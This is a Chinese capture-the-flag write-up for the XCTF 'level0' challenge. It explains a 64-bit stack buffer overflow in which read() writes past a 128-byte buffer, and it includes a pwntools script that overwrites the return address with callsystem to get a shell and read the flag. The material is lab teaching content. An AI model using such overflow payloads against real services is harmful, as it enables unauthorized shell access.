攻防世界 level0

📅9/8/2021, 12:00:00 AM

题目

题目来源: XMan

题目描述:菜鸡了解了什么是溢出,他相信自己能得到shell

审题

通过溢出得到 shell。

题解

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "Hello, World\n", 0xDuLL);
  return vulnerable_function();
}

vulnerable_function

ssize_t vulnerable_function()
{
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF

  return read(0, buf, 0x200uLL);
}

ctf-wiki:栈溢出

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。

双击buf 查看本函数的栈结构

-0000000000000080 ; Use data definition commands to create local variables and function arguments.
-0000000000000080 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000080 ; Frame size: 80; Saved regs: 8; Purge: 0
-0000000000000080 ;
-0000000000000080
-0000000000000080 buf             db 128 dup(?)
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

把函数的地址写入r(返回地址)中,即可让其执行。

callsystem

int callsystem()
{
  return system("/bin/sh");
}

本函数会调用系统的sh即 shell。

Exp

将函数callsystem的地址写入函数vulnerable_function栈中的r即可得到 shell。

需要填充bufs,位数为:128+8=136。

from pwn import *


def exploit():
    context.arch = 'amd64'
    context.binary = './level0'
    callsystem_addr = context.binary.symbols['callsystem']
    print(callsystem_addr)
    r = remote('host', port)
    payload = b'@'*136 + pack(callsystem_addr)
    r.sendlineafter(b'World', payload)
    r.sendline(b'cat ./flag')
    print(r.recvline_endswith(b'}').decode())
    r.close()


def main():
    exploit()


if __name__ == '__main__':
    main()

总结

通过逆向分析出函数vulnerable_function存在栈溢出漏洞,函数callsystem可以调用系统的 shell。

构造 payload,填充无用信息到bufs中,将目标函数的地址写入r中。

👉pwntools 的使用

This 

post

 by Yingjie Shang is licensed under 

CC BY 4.0